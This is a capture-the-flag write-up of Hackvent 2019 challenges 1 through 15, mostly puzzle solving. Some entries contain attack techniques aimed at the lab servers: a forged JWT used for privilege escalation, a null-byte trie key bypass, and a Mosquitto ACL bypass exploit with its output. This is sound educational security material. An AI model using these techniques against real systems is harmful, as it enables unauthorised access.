Hackvent 2019 - Writeup
This is my writeup for Hacking Lab's Hackvent 2019. For more information, visit hacking-lab.com.
You can also download this writeup as pdf:
Download
Last modified: 05/16/2024 17:09 PM
-
HV19.01: censored
-
HV19.02: Triangulation
-
HV19.03: Hodor, Hodor, Hodor
-
HV19.04: password policy circumvention
-
HV19.05: Santa Parcel Tracking
-
HV19.06: bacon and eggs
-
HV19.07: Santa Rider
-
HV19.08: SmileNcryptor 4.0
-
HV19.09: Santas Quick Response 3.0
-
HV19.10: Guess what
-
HV19.11: Frolicsome Santa Jokes API
-
HV19.12: back to basic
-
HV19.13: TrieMe
-
HV19.14: Achtung das Flag
-
HV19.15: Santa's Workshop
-
HV19.16: B0rked Calculator
-
HV19.17: Unicode Portal
-
HV19.18: Dance with me
-
HV19.19: ๐
-
HV19.20: i want to play a game
-
HV19.21: Happy Christmas 256
-
HV19.22: The command ... is lost
-
HV19.23: Internet Data Archive
-
HV19.24: ham radio
-
HV19.H1: Hidden one
-
HV19.H2: Hidden Two
-
HV19.H3: Hidden Three
-
HV19.H4: Hidden Four
HV19.01: censored
I got this little image, but it looks like the best part got censored on the way.
Even the tiny preview icon looks clearer than this! Maybe they missed something that would let you restore the original content?
The first HACKvents challenge is about jpg-images and it's hidden thumbnail, as the challenge description already tells us.
The given image is unfortunately blurred, so we cannot see the QR-code, but using exiftool we can see, that the image includes a thumbnail,
which we can extract by using the following command. Opening the resulting thumbnail and zooming in, gives us a valid QR-Code and the solution flag.
$ exiftool day01.jpg -b -ThumbnailImage > day01_solution.jpg
![[day1]](/img/writeup/hackvent/2019/day01.jpg)
![[day1 solution]](/img/writeup/hackvent/2019/day01_solution.jpg)
Flag:
HV19{just-4-PREview!}
HV19.02: Triangulation
Today we give away decorations for your Christmas tree. But be careful and do not break it.
We got an STL file, which reveals to be a file in "Stereolithography Interface Format" after some research.
I decided to use MeshLab to open this file. With File โ Import Meshโฆ we can import our file, and it shows us a bauble.
When zooming in, we can see a QR-code, but it is not readable yet, as the background has the same color. In the menu bar we can select
Select Vertexes and then Delete the current selected to remove the cover and scan the QR-Code.
![[day02_meshlab_1]](/img/writeup/hackvent/2019/day02_meshlab_1.jpg)
![[day02_meshlab_2]](/img/writeup/hackvent/2019/day02_meshlab_2.jpg)
![[day02_meshlab_3]](/img/writeup/hackvent/2019/day02_solution.jpg)
Flag:
HV19{Cr4ck_Th3_B411!}
HV19.03: Hodor, Hodor, Hodor
$HODOR: hhodor. Hodor. Hodor!? = `hodor?!? HODOR!? hodor? Hodor oHodor. hodor? , HODOR!?! ohodor!? dhodor? hodor odhodor? d HodorHodor Hodor!? HODOR HODOR? hodor! hodor!? HODOR hodor! hodor? !
hodor?!? Hodor Hodor Hodor? Hodor HODOR rhodor? HODOR Hodor!? h4Hodor?!? Hodor?!? 0r hhodor? Hodor!? oHodor?! hodor? Hodor Hodor! HODOR Hodor hodor? 64 HODOR Hodor HODOR!? hodor? Hodor!? Hodor!? .
HODOR?!? hodor- hodorHoOodoOor Hodor?!? OHoOodoOorHooodorrHODOR hodor. oHODOR... Dhodor- hodor?! HooodorrHODOR HoOodoOorHooodorrHODOR RoHODOR... HODOR!?! 1hodor?! HODOR... DHODOR- HODOR!?! HooodorrHODOR Hodor- HODORHoOodoOor HODOR!?! HODOR... DHODORHoOodoOor hodor. Hodor! HoOodoOorHodor HODORHoOodoOor 0Hooodorrhodor HoOodoOorHooodorrHODOR 0=`;
hodor.hod(hhodor. Hodor. Hodor!? );
hodor?!? Hodor Hodor Hodor? Hodor HODOR rhodor? HODOR Hodor!? h4Hodor?!? Hodor?!? 0r hhodor? Hodor!? oHodor?! hodor? Hodor Hodor! HODOR Hodor hodor? 64 HODOR Hodor HODOR!? hodor? Hodor!? Hodor!? .
HODOR?!? hodor- hodorHoOodoOor Hodor?!? OHoOodoOorHooodorrHODOR hodor. oHODOR... Dhodor- hodor?! HooodorrHODOR HoOodoOorHooodorrHODOR RoHODOR... HODOR!?! 1hodor?! HODOR... DHODOR- HODOR!?! HooodorrHODOR Hodor- HODORHoOodoOor HODOR!?! HODOR... DHODORHoOodoOor hodor. Hodor! HoOodoOorHodor HODORHoOodoOor 0Hooodorrhodor HoOodoOorHooodorrHODOR 0=`;
hodor.hod(hhodor. Hodor. Hodor!? );
This challenge was really easy, I had actually first blood, but unfortunately it's not displayed on their website.
The description looks strongly like an esoteric programming language, so after a quick research we find a npm-package called hodor-lang to interpret this language. Saving the text to a file and passing it to the npm-package it gives us a base64 encoded string, which we just had to decode resulting in the flag.
The description looks strongly like an esoteric programming language, so after a quick research we find a npm-package called hodor-lang to interpret this language. Saving the text to a file and passing it to the npm-package it gives us a base64 encoded string, which we just had to decode resulting in the flag.
$ npm install -g hodor-lang
$ hodor challenge.hd
HODOR: \-> hodor.hd
Awesome, you decoded Hodors language!
As sis a real h4xx0r he loves base64 as well.
SFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=
Awesome, you decoded Hodors language!
As sis a real h4xx0r he loves base64 as well.
SFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=
Flag:
HV19{h01d-th3-d00r-4204-ld4Y}
HV19.04: password policy circumvention
Santa released a new password policy (more than 40 characters, upper, lower, digit, special).
The elves can't remember such long passwords, so they found a way to continue to use their old (bad) password:
merry christmas geeks
The elves can't remember such long passwords, so they found a way to continue to use their old (bad) password:
merry christmas geeks
We've got an .ahk file, which can be opened with common text editors. After some research we find the tool, which can execute these files:
AutoHotKey. After installing this tool on my windows virtual machine and executing the script, I could easily find the flag by opening
a text editor and typing the three given words merry christmas geeks. I had to take care to type it slowly and wait for the script
to send its keystrokes to not mess the resulting string up. The flag was visible then.
Flag:
HV19{R3memb3r, rem3mber - the 24th 0f December}
HV19.05: Santa Parcel Tracking
To handle the huge load of parcels Santa introduced this year a parcel tracking system.
He didn't like the black and white barcode, so he invented a more solemn barcode. Unfortunately
the common barcode readers can't read it anymore, it only works with the pimped models santa owns. Can you read the barcode

This challenge was annoying for me, as I wasted alot of time for investigation on barcodes and how they work.
When we try to scan the given barcode with a usual scanner, it prints "Not the solution", obviously.
Normally barcodes consist of patterns with variable or constant length, e.g. Code128's pattern (which would be used here) has 9 bits.
A bit is represented by the smallest bar (in our case 3 pixels width), where black means "1" and white means "0".
An interesting article how it works in detail can be found here: https://courses.cs.washington.edu/courses/cse370/01au/minirproject/BarcodeBattlers/barcodes.html.
But this is not needed for our barcode, we just have to analyze the image: Count colors, look at RGB values and stuff. With a little python script we can print some of these information:
But this is not needed for our barcode, we just have to analyze the image: Count colors, look at RGB values and stuff. With a little python script we can print some of these information:
$ python
>>> print("Red Channel:", sorted(red))
Red Channel: [97, 98, 99, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]
>>> print("Green Channel:", sorted(green))
Green Channel: [48, 49, 50, 51, 52, 53, 54, 56, 57, 66, 69, 71, 72, 73, 74, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89]
>>> print("Blue Channel:", sorted(blue))
Blue Channel: [48, 49, 51, 52, 54, 56, 57, 68, 69, 70, 72, 73, 77, 78, 79, 80, 82, 83, 84, 86, 88, 89, 90, 95, 97, 99, 100, 101, 102, 103, 105, 108, 111, 114, 116, 117, 123, 125]
Red Channel: [97, 98, 99, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]
>>> print("Green Channel:", sorted(green))
Green Channel: [48, 49, 50, 51, 52, 53, 54, 56, 57, 66, 69, 71, 72, 73, 74, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89]
>>> print("Blue Channel:", sorted(blue))
Blue Channel: [48, 49, 51, 52, 54, 56, 57, 68, 69, 70, 72, 73, 77, 78, 79, 80, 82, 83, 84, 86, 88, 89, 90, 95, 97, 99, 100, 101, 102, 103, 105, 108, 111, 114, 116, 117, 123, 125]
We can see, that the blue channel has a wider spectrum than red and green channel. Also, we can see, that the numbers are mostly in range 48-57 and 66-122.
These numbers fit with ASCII! Let's look at the ascii values:
$ python
>>> print("Red Channel:", [chr(x) for x in sorted(red)])
Red Channel: ['a', 'b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
>>> print("Green Channel:", [chr(x) for x in sorted(green)])
Green Channel: ['0', '1', '2', '3', '4', '5', '6', '8', '9', 'B', 'E', 'G', 'H', 'I', 'J', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y']
>>> print("Blue Channel:", [chr(x) for x in sorted(blue)])
Blue Channel: ['0', '1', '3', '4', '6', '8', '9', 'D', 'E', 'F', 'H', 'I', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'V', 'X', 'Y', 'Z', '_', 'a', 'c', 'd', 'e', 'f', 'g', 'i', 'l', 'o', 'r', 't', 'u', '{', '}']
Red Channel: ['a', 'b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
>>> print("Green Channel:", [chr(x) for x in sorted(green)])
Green Channel: ['0', '1', '2', '3', '4', '5', '6', '8', '9', 'B', 'E', 'G', 'H', 'I', 'J', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y']
>>> print("Blue Channel:", [chr(x) for x in sorted(blue)])
Blue Channel: ['0', '1', '3', '4', '6', '8', '9', 'D', 'E', 'F', 'H', 'I', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'V', 'X', 'Y', 'Z', '_', 'a', 'c', 'd', 'e', 'f', 'g', 'i', 'l', 'o', 'r', 't', 'u', '{', '}']
We can clearly see, that these are all printable characters and '{' as well as '}' can be found in the blue channel.
Printing all these channels separately gives us the flag. The script to decode this barcode can be found below.
$ python
>>> print(redChannel)
stlmrysegzuhezagltlgxzgjiivvssaiewbtuhalqclfqrcwfqvengxekoaltyv
>>> print(greenChannel)
PYPE13PQ89LTG0X0OOJJIIUSHQ60MIQI4S9EG48NVVP65GOXL0VWJW2323SRU8B
>>> print(blueChannel)
X8YIOF0ZP4S8HV19{D1fficult_to_g3t_a_SPT_R3ader}S1090OMZE0E3NFP6
stlmrysegzuhezagltlgxzgjiivvssaiewbtuhalqclfqrcwfqvengxekoaltyv
>>> print(greenChannel)
PYPE13PQ89LTG0X0OOJJIIUSHQ60MIQI4S9EG48NVVP65GOXL0VWJW2323SRU8B
>>> print(blueChannel)
X8YIOF0ZP4S8HV19{D1fficult_to_g3t_a_SPT_R3ader}S1090OMZE0E3NFP6
Flag:
HV19{D1fficult_to_g3t_a_SPT_R3ader}
HV19.06: bacon and eggs
Francis Bacon was an English philosopher
and statesman who served as Attorney General
and as Lord Chancellor of England. His works
re credited with developing the scientific
method and remained influential through the scientific
revolution.
Bacon has been called the father of empiricism. His works argued for the possibility of scientific knowledge based only upon inductive reasoning and careful observation of events in nature. Most importantly, he argued science could be achieved by use of a sceptical and methodical approach whereby scientists aim to avoid misleading themselves. Although his practical ideas about such a method, the Baconian method, did not have a long-lasting influence, the general idea of the importance and possibility of a sceptical methodology makes Bacon the father of the scientific method. This method was a new rhetorical and theoretical framework for science, the practical details of which are still central in debates about science and methodology.
Bacon has been called the father of empiricism. His works argued for the possibility of scientific knowledge based only upon inductive reasoning and careful observation of events in nature. Most importantly, he argued science could be achieved by use of a sceptical and methodical approach whereby scientists aim to avoid misleading themselves. Although his practical ideas about such a method, the Baconian method, did not have a long-lasting influence, the general idea of the importance and possibility of a sceptical methodology makes Bacon the father of the scientific method. This method was a new rhetorical and theoretical framework for science, the practical details of which are still central in debates about science and methodology.
Day 6 was a crypto or steganography challenge. The given text looks quite suspicious at the first look. If we look at the html content,
we see that some characters are wrapped in a
<em>
element. When searching for Francis Bacon,
we will find Bacon's Cipher. It works like this: Firstly, define an encoding, where 5 symbols applies to one character e.g.
aaaaa = A
and aaaba = B
and so on. Now write a sample text where a character written
in normal way means a
and a character written somehow different means b
For our case, we have to decode the given text in a's and b's first, or better: 0 and 1.
It is important to ignore any non-letters, like commas, periods, spaces and newlines. Now divide the resulting bit-string in blocks of 5.
Looking at the decimal numbers of these blocks, we only see values in range of 0-25, which applies to the latin alphabet. Printing the
characters, the final message is (with spaces for better legibility):
$ python decode.py
SANTA LIKES HIS BACON BUT ALSO THIS BACON.
THE PASSWORD IS HVXBACONCIPHERISSIMPLEBUTCOOLX
REPLACE X WITH BRACKETS AND USE UPPERCASE
THE PASSWORD IS HVXBACONCIPHERISSIMPLEBUTCOOLX
REPLACE X WITH BRACKETS AND USE UPPERCASE
Flag:
HV19{BACONCIPHERISSIMPLEBUTCOOL}
HV19.07: Santa Rider
Santa is prototyping a new gadget for his sledge. Unfortunately it still has some glitches, but look for yourself.
One of my favourite challenges so far. Santa is showing us a bar of LEDs,
which are firstly turned on one by one from left to right and right to left. After that a quite fast sequence of random LEDs is shown.
As we have 8 LEDs the basic idea is saving every state as a byte, e.g. first LED is on,
rest off = 10000000. For this, we have to extract frames out of our video. I had to try various FPS values, so that 1 frame is exactly 1 state.
$ ffmpeg -i video.mp4 -vf fps=10 frames/frame%04d.jpg -hide_banner
Now we need to decode each frame, I did it by measuring the brightness at each LED with a python script again.
Decoding the resulting bytes as ASCII gives us the solution:
Flag:
HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}
HV19.08: SmileNcryptor 4.0
You hacked into the system of very-secure-shopping.com and you found a SQL-Dump with $$-creditcards numbers.
As a good hacker you inform the company from which you got the dump. The managers tell you that they don't worry, because the data is encrypted.
This was really frustrating, and it took me several hints to understand, how it works.
So we've got a
For table creditcards, the card numbers are encrypted and have the following contents:
dump.sql
with a table creditcards and a table flags.
Both contain encrypted strings starting with ':)', which looks like a pattern so the application recognizes it as an encrypted string,
we may just ignore this.For table creditcards, the card numbers are encrypted and have the following contents:
$ python decode.py
Length=15 Characters: ['Q', 'V', 'X', 'S', 'Z', 'U', 'V', 'Y', '\\', 'Z', 'Y', 'Y', 'Z', '[', 'a']
Length=14 Characters: ['Q', 'O', 'U', 'W', '[', 'V', 'T', '^', 'V', 'Y', ']', 'b', 'Z', '_']
Length=16 Characters: ['S', 'P', 'P', 'V', 'S', 'S', 'Y', 'V', 'V', '\\', 'Y', 'Y', '_', '\\', '\\', ']']
Length=16 Characters: ['R', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^']
Length=16 Characters: ['Q', 'T', 'V', 'W', 'R', 'S', 'V', 'U', 'X', 'W', '[', '_', 'Z', '`', '\\', 'b']
Length=14 Characters: ['Q', 'O', 'U', 'W', '[', 'V', 'T', '^', 'V', 'Y', ']', 'b', 'Z', '_']
Length=16 Characters: ['S', 'P', 'P', 'V', 'S', 'S', 'Y', 'V', 'V', '\\', 'Y', 'Y', '_', '\\', '\\', ']']
Length=16 Characters: ['R', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^']
Length=16 Characters: ['Q', 'T', 'V', 'W', 'R', 'S', 'V', 'U', 'X', 'W', '[', '_', 'Z', '`', '\\', 'b']
Note: The backslash is interpreted as backslash and not as escape sequence (e.g. \b was really \ and b instead of \b)
First of all, the lengths are in range 14-16 which is very likely for credit card numbers. Also the ASCII values of the cipher text
are in a continues block in range from 79 ('O') to 98 ('b'). This is indication that we have to shift or replace our values somehow, as
credit card numbers only have digits 0-9. But a simple shifting does not work: If we assume 'O' = 0, 'P' = 1 and so one, this would work
for values until 'Y' = 9, but for any character above 'Y', we got a problem. So let's analyze our ciphertext again and do some research on
credit card numbers. I used Wikipedia's article and this article as a reference.
The first few digits of a credit card number determine the Issuer, and it's called Issuer identification number (IIN). Each issuer
has a different length for their numbers. Our encrypted number of length 14 could therefore belong to Diners Club International.
The number of length 15 could belong to American Express. Both IIN start with 3 and so do the encrypted strings start with 'Q', so
it's likely that Q = 3. Now let's look at the second digits, for American Express it might be 4 or 7, for Diners Club International
0, 8 or 9. So 'V' must be 4 or 7, 'O' must be 0, 6, 8 or 9. If we continue to collect these possible digits we can see a pattern, by just looking at the shift value:
For the first number the distance from 'Q' to 3 is -30, from 'V' to 4 and 7 it's -34 and -31.
For the second number the difference from 'Q' to 3 is -30, from 'O' to 0,8,9 it's -31, -23, -22.
For the first number the distance from 'Q' to 3 is -30, from 'V' to 4 and 7 it's -34 and -31.
For the second number the difference from 'Q' to 3 is -30, from 'O' to 0,8,9 it's -31, -23, -22.
Doing so for every card we find out that the first position is shifted by -30, second position by -31 and so on.
The decrypted strings with the flag contents therefore are:
$ python decode.py
378282246310005
30569309025904
5105105105105100
4111111111111111
3566002020360505
5M113-420H4-KK3A1-19801
30569309025904
5105105105105100
4111111111111111
3566002020360505
5M113-420H4-KK3A1-19801
Flag:
HV19{5M113-420H4-KK3A1-19801}
Special thanks to the challenge's creator @otaku and the people on the unofficial discord server for so many hints,
I wouldn't be able to solve this otherwise.
HV19.09: Santas Quick Response 3.0
Visiting the following railway station has left lasting memories. Santas brand
new gifts distribution system is heavily inspired by it. Here is your personal gift,
can you extract the destination path of it?


Ever heard of cellular automatons? No? This challenge bases on a discrete 2D model, which is used in computer science, maths, biology and more.
When reverse-searching the first given image, we find this page, which is basically one of these cellular automatons, and it works like this:
Every pixel (x,y) is defined by the three pixels above [(x-1,y-1),(x,y-1),(x+1,y)]. The rule number tells us, how we can calculate the lower pixel, e.g. Rule 30 is 0b00011110 binary.
Every pixel (x,y) is defined by the three pixels above [(x-1,y-1),(x,y-1),(x+1,y)]. The rule number tells us, how we can calculate the lower pixel, e.g. Rule 30 is 0b00011110 binary.
![[rule 30 explanation]](/img/writeup/hackvent/2019/rule30.png)
Usually we start with 1 black pixel and continue n-times. The resulting image is one of the pyramids like seen below.
As the top left and right corner of the QR-Code is already valid and the corresponding areas on the cellular automaton image is white,
we can simply XOR both images and the result is a valid QR-Code which reveals our flag.
For adjustment, we can XOR the given image with a valid bottom-right-corner.

โจ

=

Why using XOR? When comparing the bottom left corner of the original image with a valid QR, parts of the Rule30 pyramid is revealed.
As no other logical function makes sense, XOR is often used for "encrypting", as it's reversible, associative and commutative.
Flag:
HV19{Cha0tic_yet-0rdered}
HV19.10: Guess what
The flag is right, of course
This challenge was to be honest really easy. We got an elf binary with stripped debug symbols, so reversing it with
disassemblers would be a bit more difficult. Also, the challenge's category is Fun and not Reverse Engineering.
If we run the tool, it asks for an input, as seen below:
$ ./guess3
Your input: test
nooooh. try harder!
nooooh. try harder!
$ ./guess3
Your input: flag please
./guess3: Row 4: [: Too many arguments.
nooooh. try harder!
./guess3: Row 4: [: Too many arguments.
nooooh. try harder!
The second input tells us, that bash is somehow involved. So let's run ltrace against it.
$ ltrace -s 100 ./guess3
getpid() = 15499
(...) = 0
malloc(4254) = 0x5557500fe300
memset(0x5557500fe300, ' ', 4096) = 0x5557500fe300
memcpy(0x5557500ff300, "#!/bin/bash\n\nread -p "Your input: " input\n\nif [ $input = "HV19{Sh3ll_0bfuscat10n_1s_fut1l3}" ] \nthen"..., 158) = 0x5557500ff300
execvp(0x55574f1c809a, 0x5557500fe2a0, 32, 0x7ffc0eb68748 <no return ...>
--- Called exec() ---
Your input:
(...) = 0
malloc(4254) = 0x5557500fe300
memset(0x5557500fe300, ' ', 4096) = 0x5557500fe300
memcpy(0x5557500ff300, "#!/bin/bash\n\nread -p "Your input: " input\n\nif [ $input = "HV19{Sh3ll_0bfuscat10n_1s_fut1l3}" ] \nthen"..., 158) = 0x5557500ff300
execvp(0x55574f1c809a, 0x5557500fe2a0, 32, 0x7ffc0eb68748 <no return ...>
--- Called exec() ---
Your input:
Flag:
HV19{Sh3ll_0bfuscat10n_1s_fut1l3}
HV19.11: Frolicsome Santa Jokes API
The elves created an API where you get random jokes about santa.
The elves provided us a URL, where the startpage shows three different API-methods: login, register and random,
where the last methods print a random joke. Following the instructions to create an account and logging in with Postman, the API
generates us an API-Key, which we can use to ger a random joke:


This seems to work, and we notice another interesting attribute:
platinum
. The token we sent looks like JWT,
so let's decode it:
$ pyjwt decode --no-verify eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoiQmxpbmRoZXJvIiwicGxhdGludW0iOmZhbHNlfSwiZXhwIjoxNTc2MDc1NzM2LjExNzAwMDAwMH0.mqbA0i5vh1lSgqT5anYU2lGyqLzYE9UnFKVfj5sJKoE
{"user": {"username": "Blindhero", "platinum": false}, "exp": 1576075736.117}
As we can see, the attribute platinum is sent within the cookie. Usually it's not possible to modify those JWT cookies, as there is a
key-based signature, which is verified on server site. In this case it works, for whatever reason, and Santa is giving us a useful security advice
(and the flag of course):
$ python
>>> import jwt
>>> import requests
>>> obj = { "user": { "username": "Blindhero", "platinum": "True" }, "exp": 1576075736.117}
>>> print(requests.get("http://whale.hacking-lab.com:10101/fsja/random?token=" + jwt.encode(obj, "key").decode("UTF-8")).text)
{"joke":"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}","author":"Santa","platinum":true}
>>>
>>> import requests
>>> obj = { "user": { "username": "Blindhero", "platinum": "True" }, "exp": 1576075736.117}
>>> print(requests.get("http://whale.hacking-lab.com:10101/fsja/random?token=" + jwt.encode(obj, "key").decode("UTF-8")).text)
{"joke":"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}","author":"Santa","platinum":true}
>>>
Flag:
HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}
HV19.12: back to basic
Santa used his time machine to get a present from the past.
get your rusty tools out of your cellar and solve this one!
We've got some old-school binary, which is compiled VB6 source code.
Reversing it with IDA was a bit difficult, because with default options, only one function is detected.
When starting the executable, a small form with an input box and a status label is displayed,
right after we type something in. The label tells us, if the input flag is correct or not.
Searching for these strings we find an interesting function in IDA, let's analyze it step-by-step:
Firstly, there are several calls to
rtcMidCharVar
,
__vbaVarCmpEq
and __vbaVarAnd
.
We assume, that this function are applied to our input. The VB calling conventions are a bit weird,
so we don't immediately see, which parameters are passed. The most instructions before call to esi are the same,
but there is one number increasing from 1 to 4. These are our string offsets. Note: Visual Basic indices start at 1!.
Another interesting parameter is the number 1 for every call, this is passed as 3rd parameter to VB's
Mid function. To sum up, the first four characters are obtained using Mid, and then checked against another char using
__vbaVarCmpEq and combined with __vbaVarAnd. Without knowing the exact functionality, we can guess, the first four characters
are compared to HV19.
Next, the length of the string is compared to 21h, which is 33 in decimal.
If the length matches, the actual "encryption" is started:
from offset 6 to
__vbaLenVar
- 1 (__vbaVarSub
).
These are the characters inside the curly braces. For every each character the following is done:
Inside the loop, we can see the following functions:
rtcAnsiValueBstr
,
__vbaVarXor
and __vbaVarAdd
.
We can assume, that a simple XOR is done here, we can also find a hardcoded string:
6klzic<=bPBtdvff'y\x7fFI~on//N
. Unfortunately IDA doesn't show the full string,
as it contains a non-printable character. For the solution we just need the second string for XOR.
This can be found by debugging in the following way:
- Set the breakpoint right on the
__vbaVarTstEq
call - Run the debugger
- Enter the following string:
HV19{AAAAAAAAAAAAAAAAAAAAAAAAAAA}
, as we know the first 5 and the last char, the remaining 33 - 6 chars are chosen. - Step through the instructions, until we see both strings in memory (given and encrypted).
Now we just need some simple maths, introducing the following variables and do the calculations:
Flag:
HV19{0ldsch00l_Revers1ng_Sess10n}
- A := input, E := encrypted string in memory, K := key used for XOR, F := flag, S := first string found for XOR
F = S โจ K = S โจ (A โจ E)
F = 6klzic<=bPBtdvff'y\x7fFI~on//N โจ (AAAAAAAAAAAAAAAAAAAAAAAAAAA โจ GFIHKJMLONQPSRUTWVYX[Z]\_^a)
F = 0ldsch00l_Revers1ng_Sess10n
Flag:
HV19{0ldsch00l_Revers1ng_Sess10n}
HV19.13: TrieMe
Switzerland's national security is at risk. As you try to infiltrate a secret spy facility to save the
nation you stumble upon an interesting looking login portal.
Can you break it and retrieve the critical information?
Can you break it and retrieve the critical information?
We got access to a web application with a text field and a login button.
It seems like, whatever we enter, a warning "STATUS: INTRUSION WILL BE REPORTED! !" is printed.
We also got a java file, which is probably some backend code used for the web app.
As we can see, we can get admin access, if the trie doesn't contain the security token.
Unfortunately it is initialized right at the beginning, we need to find another wayโฆ
private PatriciaTrie<Integer> trie = init();
private static final long serialVersionUID = 1L;
private static final String securitytoken = "auth_token_4835989";
// (...)
private static PatriciaTrie<Integer> init() {
PatriciaTrie<Integer> trie = new PatriciaTrie<Integer>();
trie.put(securitytoken,0);
return trie;
}
private static boolean isAdmin(PatriciaTrie<Integer> trie) {
return !trie.containsKey(securitytoken);
}
There is another method
https://issues.apache.org/jira/browse/COLLECTIONS-714. It even provides some cases, where the key managment works incorrect. If a key with a trailing null character is put inside the trie, the
setTrie(String note)
, which is not used inside the java file,
so it must be called from outside, maybe our input field? Doing some research on the data structure, we find a bug,
which was reported lately: https://issues.apache.org/jira/browse/COLLECTIONS-714. It even provides some cases, where the key managment works incorrect. If a key with a trailing null character is put inside the trie, the
containsKey
returns
false for the actual key. This is the way, we have to exploit the server's functionality:
Sending auth_token_4835989\0
through the text field, the server gives us the flag.
Flag:
HV19{get_th3_chocolateZ}
HV19.14: Achtung das Flag
Let's play another little game this year. Once again, I promise it is hardly obfuscated.
This challenge was hilarious, like last year's flappy bird, we've got an obfuscated perl game. This year's topic: Curve Fever!
Similar to snake, we have to collect bounties, which are parts of our flag. But in contrast to snake, our curve leaves a constant line,
which we may not touch. I tried to play the game without modifying or cheating in any way, it's possible for the first 6-7 parts, but the
flag doesn't seem to have a common scheme... Thus, we have to modify the given code. Using perltidy, we can beautify our code a bit.

We can see one very interesting part:
createText(
$PMMtQJOcHm8eFQfdsdNAS20->() % 600 + 20,
$PMMtQJOcHm8eFQfdsdNAS20->() % 440 + 20, #Perl!!
"-text" => $d28Vt03MEbdY0->(),
"-$y" => $z
);
This function is obviously creating the flag text, where
$d28Vt03MEbdY0->()
is the call to calculate the next part. When analyzing $d28Vt03MEbdY0
, we can see
that a call to $PMMtQJOcHm8eFQfdsdNAS20
is made, so it's important, not to delete
this call for position calculating. Just replace the -text parameter and add print $d28Vt03MEbdY0->()
after the createText call. The flag is now printed.
Flag:
HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee}
HV19.15: Santa's Workshop
The Elves are working very hard.
Look at http://whale.hacking-lab.com:2080/ to see how busy they are.
Look at http://whale.hacking-lab.com:2080/ to see how busy they are.
Visiting the webpage, we can see a counter which is continuously incremented, but only if javascript is enabled.
Using the built-in Firefox developer tools, we can see several javascript fiels in the Debug tab. The most interesting files
are probably mqtt.js and config.js. MQTT is a messaging protocol based on a channel/subsscription method,
where a client can subscribe to a channel and receive messages
published in the channel. We can find this configuration in config.js:
var mqtt;
var reconnectTimeout = 100;
var host = 'localhost';
var port = 9001;
var useTLS = false;
var username = 'workshop';
var password = '2fXc7AWINBXyruvKLiX';
var clientid = localStorage.getItem("clientid");
if (clientid == null) {
clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');
localStorage.setItem("clientid", clientid);
}
var topic = 'HV19/gifts/'+clientid;
// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';
var cleansession = true;
First of all, we can retrieve the credentials and connection properties. We can also see,
that the client id is a random 16-digit number and the topic, where the counter is sent, is
'HV19/gifts/'+clientid
.
We can implement the same configuration easily in python. When trying to subscribe to 'HV19/gifts/'+clientid+'/flag-tbd'
instead, we don't get any messages at all, there is probably some authentication involved. Doing some research, we find some "special patterns"
on this article. When appending # to a topic, we can get every message in each subtopic. But this doesn't work either, there is another thing:
When subscribing to $SYS, we can get system related messages. This leads to the following result:
"mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC.
So we made a genious fix you never will be able to pass. Hohoho)"
CVE-2017-7650 says: In Mosquitto before 1.4.12, pattern based ACLs can be bypassed by clients that set their username/client id to '#' or '+'..
So the elves didn't update their mosquitto version, instead they fixed the bug by themselves, but probably not correctly.
When using # as a user or client id, the server doesn't accept the connection, so we have to change it a little.
As we know, the topics structure is HV19/gifts/<16-digit-clientid>/, we can simply choose 0000000000000000/#
as client id and HV19/gifts/# as a topic:
$ python exploit.py
16 Sending CONNECT (u1, p1, wr0, wq0, wf0, c1, k100) client_id=b'0000000000000000/#'
16 Received CONNACK (0, 0)
16 Sending SUBSCRIBE (d0, m1) [(b'HV19/gifts/#', 0)]
16 Received PUBLISH (d0, q0, r1, m0), 'HV19/gifts/0000000000000000/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}', ... (70 bytes)
HV19/gifts/0000000000000000/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'
16 Received SUBACK
16 Received CONNACK (0, 0)
16 Sending SUBSCRIBE (d0, m1) [(b'HV19/gifts/#', 0)]
16 Received PUBLISH (d0, q0, r1, m0), 'HV19/gifts/0000000000000000/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}', ... (70 bytes)
